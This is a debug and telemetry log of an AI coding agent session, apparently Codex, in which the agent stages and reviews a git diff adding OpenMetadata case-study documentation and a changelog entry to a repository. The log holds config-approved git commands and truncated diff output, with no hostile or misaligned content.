InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:33.457Z] [INFO] \n[2026-07-12T04:07:33.469Z] [INFO] 2026-07-12T04:07:33.464302Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:33.464Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.469Z] [INFO] 2026-07-12T04:07:33.464353Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:33.464Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.469Z] [INFO] 2026-07-12T04:07:33.464367Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:33.469Z] [INFO] \n[2026-07-12T04:07:33.537Z] [INFO] 2026-07-12T04:07:33.537173Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:33.537Z] [INFO] 2026-07-12T04:07:33.537266Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:33 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"d8e473b8-3e16-44ff-b018-fe44e62d4bc8\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=1RtkdOYWj0lMKWL%2FZQk9lGt0Jfsum%2FshVYU44zylMBhtTrfO0pOT4xny1gL16nLRw34kUK7rwz%2FmlB5z24a%2Fs1zvwN6PpMfWN81zxFW9wow2uvjXmrnw4X27Lhpl\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2e822c7a1182-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:33.537Z] [INFO] \n[2026-07-12T04:07:34.295Z] [INFO] 2026-07-12T04:07:34.294810Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130647b481919deccb8ecdd0dbcb\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMGjV9vynWV0bRQSeRjSjpxEoC-QjWSGWxijDAHEbvbpD-tRb-C90DYOOBq4Si_EVxWHy1kXfCPu_Xj1Xpt-gjgycA3n_LU4e6tqkm5QoAigaHBLxf_VCapflm7Ody0HavaNX7jDVNqEa6rqeSJDpYAPKQkgmDlKLt77rUCQkVdkvn5eSkihbPNzgHD2WUj2hIeCmvaXRZvRcr2hzf9SfzF6ebpj-30klzAvATWZY2ZzJLFKaSBaB5TIPUmVpm_Gx86STpheFm6aH0gH3joOgdpFjJkPkxoWNOzlNel0a9m7LAg4AudjLwB44FyTqii5-VcPeqMYx0EULBzDJQusiJoXAAlcymSNhSlw7GVkNS2bp6pWpzKTBkrv6e9OYZ8GvxX53pib_Bg6Ju_7GNfBFgD5YluIPo_iLsvAaL29-y6tV_xclC_IYpFYYfEBdxaBYuXevcSwLuWxYrSzOdi0hc9xj-xPVW_MRSwA-zAMq_Kj7Fbc1HDkedIdKImNm-KU1bQXeRTDfxNXCNCpKl6HXxg8iJI7ZJMMQ1rMQieqjeHXW6iFkhZJVWQJELPvt6RmMyHWw99MUc19qULstk_OwcX2qnQjD1YCeBjc4XRKNWub4PBt_wKVHENPIkrkcICt9ruT_g7bdrozeWPRaruyefTaxIEz027mU4_quovecDAPmyB0jbptL_uGxEhx1mP53DlfoetsovdvnLfQQaLVf86J86_v5KWUsSB0BC_gl6WvMr8fk91Fc1tOn2ZOIRKYKIuaMn12jsoe1JPl5DTcN2Vn66sLDcSzYBTc8mrKRXTcbG428KMIppt1CRVi4ZUYUp2O--Y0bwQbue0mQlvyOCgC3GzcsZkiXznawTWsOVzcIHGbM37-9o31lDcN4kutxqHUPjb_MvDshrJKkjGigiQXg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:34.295Z] [INFO] \n[2026-07-12T04:07:38.771Z] [INFO] 2026-07-12T04:07:38.769653Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130647b481919deccb8ecdd0dbcb\"), summary: [SummaryText { text: \"**Planning staged diff review and branch sync**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMKATOW_8K7T3RHcMPGL9zy0Bgi7YOacCMFCVmqCyA33Zgj8uvcuOgAJc7p5I0lSiejHCwLQ0DPaGwR2a_-maAsZs-hSwnUMLDLAig-RvRCf4d51U5Fo7cUwNZxLFleeKSA8j6qIjjDUe6JJE336C1LMSTsH9k9NR2Rsu0VO8Q7MHOT-RabIxiJgZwYvVAHDYr5H1bt81Xtz1PKInG9Th13BM8WHxK3f0pFnQJOHPyOpw0y83DgqBQNIg6mXhReU06kaBmzzkDLdCr1A4Hjl2FNUYqOiPdmL0Unh6CRmA8OJinFs67cfK8SimyPrinODuTfEtJ5kg0A5I7CBZWbsu9t3_wTrFTi8AnXCGBUwNdedBjpud8SloZcuoMx5fDmP7EuloKFHq6_8RutAvLeBNXgS_k4vUfEYPs515eXc5_EOzHwyvKuXQo8qMfhPlcLZQmzFvCrQ5IDrJ8pEpWEAbuiGrldiXU2evwz1yN4kVWeyo7d2G5-TfWVeWh711PKEu332tVD_noWDOT18rLUbilV_lNw1oVeKPC5z1u2TwhsvLBDjQC3htt43FHRXntPYhPNefFycUzKenNhiLTpTZ9HRsSN0SU6TtLq-cb8ksNwaE4HoafpcTZnFfYONYzXYVyt-DbVfm6AerJaILjMNRgfL1J1_Fo6F93gHI2ucpRA79xUkNe8uMqNQBcFlW26hOXa-ydMoqtyIZ4MLnCDplwlUUOjkp40pWU6RlVSRqTeBiss6KTnJ8C8pSkTvzf-xmNUDVMATvwFZbHXIeDnR1covdNPAXYrwneTfMs56-W1sLwLESXYE0W8f5-xsRrUiKJ4dowIV_sWxOCd0I3vzB8nbAV8b9c6QRj7RmNHdhQCFCjWchTHqvZACcAAoVRxminEoL5_Vk6flJQUqhXuBMJSRyAw7nurFLkbIXA0E2Etwee7wO2SLhuMlkRvlC6T7n2svVA-lZb8JSc-60voosyc2AlTBRP4zArSve5vNeVLW2B30DLguTjXOb9WAKgzQIpR9cyhkMjaP5YKtfobVetfT473QVcwuiggJVPIXPEbzAGPCu8a4Okl-SYSzb8wdtKbLN59i2REWHB7IbNKPo5LqRttuwpCdyHII_8_5UOimLF94eG-3jYf1TdS36x62kqq1rd4b8EGWBpbvmwZ5Cql5p-X6hmqSx-TN-IEVb_N-tpL7mBgaU7z0hVwo-Nx9SVrTnR-FrkcgcDaeKVqVrP8Hn5SLIT4dNLy7_ZoHY442HlPPHZeKI5m1N0SoiTm5IgLE-BfOQVdwIum5Uxj39GTZqTK5xMV74R0iMdv2kSL4h1tryMQAI7HxixhWpBwdn1UeQyIgOL3mE1tzcrgjTXtW0_i9fHrndYAARmRAaiD-3-WlsgUPbIWIPO2Tp-En1g2TF-Zr6bp9BeHmMVr11pLt3T-WV-TNejMlmMYPHRsEROIJ-d3N_k5sehAjgr6Tv3eInj0y-yspOsvRQJX3-cnNdcJn_9BWAjoZq98j0-8ceA=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:38.771Z] [INFO] \n[2026-07-12T04:07:38.776Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_41\",\"type\":\"reasoning\",\"text\":\"**Planning staged diff review and branch sync**\"}}\n[2026-07-12T04:07:38.776Z] [INFO] \n[2026-07-12T04:07:38.780Z] [INFO] 2026-07-12T04:07:38.779914Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53130ac0f881918e58558222503d30\"), status: Some(\"in_progress\"), call_id: \"call_zRV9wfFYbpU9XlVbIVXdmYQU\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:38.780Z] [INFO] \n[2026-07-12T04:07:39.802Z] [INFO] 2026-07-12T04:07:39.801935Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000}); text(r.output);\n[2026-07-12T04:07:39.802Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:39.802Z] [INFO] \n[2026-07-12T04:07:39.815Z] [INFO] 2026-07-12T04:07:39.814985Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53130587208191b212e9b7366777a8\"\n[2026-07-12T04:07:39.815Z] [INFO] 2026-07-12T04:07:39.815044Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65380 output_token_count=220 cached_token_count=64256 reasoning_token_count=91 tool_token_count=65600 ttft_ms=831 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:39.815Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:39.815Z] [INFO] 2026-07-12T04:07:39.815067Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65380 output_token_count=220 cached_token_count=64256 reasoning_token_count=91 tool_token_count=65600 ttft_ms=831 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:39.815Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:39.815Z] [INFO] \n[2026-07-12T04:07:39.873Z] [INFO] 2026-07-12T04:07:39.871148Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-287671b1-e480-4732-8790-a590599e8f93 decision=approved source=Config event.timestamp=2026-07-12T04:07:39.871Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:39.873Z] [INFO] \n[2026-07-12T04:07:40.019Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_42\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:40.019Z] [INFO] \n[2026-07-12T04:07:40.027Z] [INFO] 2026-07-12T04:07:40.021534Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-287671b1-e480-4732-8790-a590599e8f93 arguments={\"cmd\":\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000} duration_ms=150 success=true output=Chunk ID: 0a0e10\n[2026-07-12T04:07:40.027Z] [INFO] Wall time: 0.0002 seconds\n[2026-07-12T04:07:40.027Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:40.027Z] [INFO] Original token count: 10366\n[2026-07-12T04:07:40.027Z] [INFO] Output:\n[2026-07-12T04:07:40.027Z] [INFO] Warning: truncated output (original token count: 10366)\n[2026-07-12T04:07:40.027Z] [INFO] Total output lines: 840\n[2026-07-12T04:07:40.027Z] [INFO] \n[2026-07-12T04:07:40.027Z] [INFO]  .gitkeep                                           |   1 -\n[2026-07-12T04:07:40.027Z] [INFO]  changelog.d/20260712_openmetadata_case_study.md    |   9 +\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/README.md                | 122 ++++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/openmetadata-analysis.md | 233 +++++++++++++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/raw-data/issue-5.json    |  17 ++\n[2026-07-12T04:07:40.027Z] [INFO]  .../issue-5/raw-data/research-observations.json    |  35 +++\n[2026-07-12T04:07:40.027Z] [INFO]  .../issue-5/requirements-and-solutions.md          | 256 +++++++++++++++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/source-inventory.md      |  93 ++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:40.027Z] [INFO] D\t.gitkeep\n[2026-07-12T04:07:40.027Z] [INFO] A\tchangelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/README.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:40.027Z] [INFO] diff --git a/.gitkeep b/.gitkeep\n[2026-07-12T04:07:40.027Z] [INFO] deleted file mode 100644\n[2026-07-12T04:07:40.027Z] [INFO] index 246ae17..0000000\n[2026-07-12T04:07:40.027Z] [INFO] --- a/.gitkeep\n[2026-07-12T04:07:40.027Z] [INFO] +++ /dev/null\n[2026-07-12T04:07:40.027Z] [INFO] @@ -1 +0,0 @@\n[2026-07-12T04:07:40.027Z] [INFO] -# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:07:40.027Z] [INFO] \\ No newline at end of file\n[2026-07-12T04:07:40.027Z] [INFO] diff --git a/changelog.d/20260712_openmetadata_case_study.md b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.027Z] [INFO] new file mode 100644\n[2026-07-12T04:07:40.027Z] [INFO] index 0000000..d723621\n[2026-07-12T04:07:40.027Z] [INFO] --- /dev/null\n[2026-07-12T04:07:40.027Z] [INFO] +++ b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.027Z] [INFO] @@ -0,0 +1,9 @@\n[2026-07-12T04:07:40.027Z] [INFO] +---\n[2026-07-12T04:07:40.027Z] [INFO] +bump: patch\n[2026-07-12T04:07:40.027Z] [INFO] +---\n[2026-07-12T04:07:40.027Z] [INFO] +\n[2026-07-12T04:07:40.027Z] [INFO] +### Added\n[2026-07-12T04:07:40.027Z] [INFO] +\n[2026-07-12T04:07:40.027Z] [INFO] +- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\n[2026-07-12T04:07:40.027Z] [INFO] +  preserves research observations, inventories reusable standards and Rust\n[2026-07-12T04:07:40.027Z] [INFO] +  components, and provides a phased implementation plan.\n[2026-07-12T04:07:40.027Z] [INFO] diff --git a/docs/case-studies/issue-5/README.md b/docs/case-studies/issue-5/REA\n[2026-07-12T04:07:40.027Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:40.021Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.027Z] [INFO] 2026-07-12T04:07:40.021597Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-287671b1-e480-4732-8790-a590599e8f93 duration_ms=150 success=true arguments_length=349 output_length=2086 output_line_count=50 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:40.021Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.027Z] [INFO] \n[2026-07-12T04:07:40.042Z] [INFO] 2026-07-12T04:07:40.034065Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zRV9wfFYbpU9XlVbIVXdmYQU arguments=const r=await tools.exec_command({cmd:\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000}); text(r.output);\n[2026-07-12T04:07:40.042Z] [INFO]  duration_ms=231 success=true output=Script completed\n[2026-07-12T04:07:40.042Z] [INFO] Wall time 0.2 seconds\n[2026-07-12T04:07:40.042Z] [INFO] Output:\n[2026-07-12T04:07:40.042Z] [INFO] \n[2026-07-12T04:07:40.042Z] [INFO] Warning: truncated output (original token count: 10366)\n[2026-07-12T04:07:40.042Z] [INFO] Total output lines: 840\n[2026-07-12T04:07:40.042Z] [INFO] \n[2026-07-12T04:07:40.042Z] [INFO]  .gitkeep                                           |   1 -\n[2026-07-12T04:07:40.042Z] [INFO]  changelog.d/20260712_openmetadata_case_study.md    |   9 +\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/README.md                | 122 ++++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/openmetadata-analysis.md | 233 +++++++++++++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/raw-data/issue-5.json    |  17 ++\n[2026-07-12T04:07:40.042Z] [INFO]  .../issue-5/raw-data/research-observations.json    |  35 +++\n[2026-07-12T04:07:40.042Z] [INFO]  .../issue-5/requirements-and-solutions.md          | 256 +++++++++++++++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/source-inventory.md      |  93 ++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:40.042Z] [INFO] D\t.gitkeep\n[2026-07-12T04:07:40.042Z] [INFO] A\tchangelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/README.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:40.042Z] [INFO] diff --git a/.gitkeep b/.gitkeep\n[2026-07-12T04:07:40.042Z] [INFO] deleted file mode 100644\n[2026-07-12T04:07:40.042Z] [INFO] index 246ae17..0000000\n[2026-07-12T04:07:40.042Z] [INFO] --- a/.gitkeep\n[2026-07-12T04:07:40.042Z] [INFO] +++ /dev/null\n[2026-07-12T04:07:40.042Z] [INFO] @@ -1 +0,0 @@\n[2026-07-12T04:07:40.042Z] [INFO] -# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:07:40.042Z] [INFO] \\ No newline at end of file\n[2026-07-12T04:07:40.042Z] [INFO] diff --git a/changelog.d/20260712_openmetadata_case_study.md b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.042Z] [INFO] new file mode 100644\n[2026-07-12T04:07:40.042Z] [INFO] index 0000000..d723621\n[2026-07-12T04:07:40.042Z] [INFO] --- /dev/null\n[2026-07-12T04:07:40.042Z] [INFO] +++ b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.042Z] [INFO] @@ -0,0 +1,9 @@\n[2026-07-12T04:07:40.042Z] [INFO] +---\n[2026-07-12T04:07:40.042Z] [INFO] +bump: patch\n[2026-07-12T04:07:40.042Z] [INFO] +---\n[2026-07-12T04:07:40.042Z] [INFO] +\n[2026-07-12T04:07:40.042Z] [INFO] +### Added\n[2026-07-12T04:07:40.042Z] [INFO] +\n[2026-07-12T04:07:40.042Z] [INFO] +- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\n[2026-07-12T04:07:40.042Z] [INFO] +  preserves research observations, inventories reusable standards and Rust\n[2026-07-12T04:07:40.042Z] [INFO] +  components, and provides a phased implementation plan.\n[2026-07-12T04:07:40.042Z] [INFO] diff --git a/docs/case-studies/issue-5/README.md b/docs/case-studies/issue-5/README.md\n[2026-07-12T04:07:40.042Z] [INFO] new file mode 100644\n[2026-07-12T04:07:40.042Z] [INFO] index 0000000..c11c7e9\n[2026-07-12T04:07:40.042Z] [INFO] --- /de\n[2026-07-12T04:07:40.042Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:40.034Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.042Z] [INFO] 2026-07-12T04:07:40.034119Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zRV9wfFYbpU9XlVbIVXdmYQU duration_ms=231 success=true arguments_length=399 output_length=2086 output_line_count=52 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:40.034Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.042Z] [INFO] 2026-07-12T04:07:40.034346Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 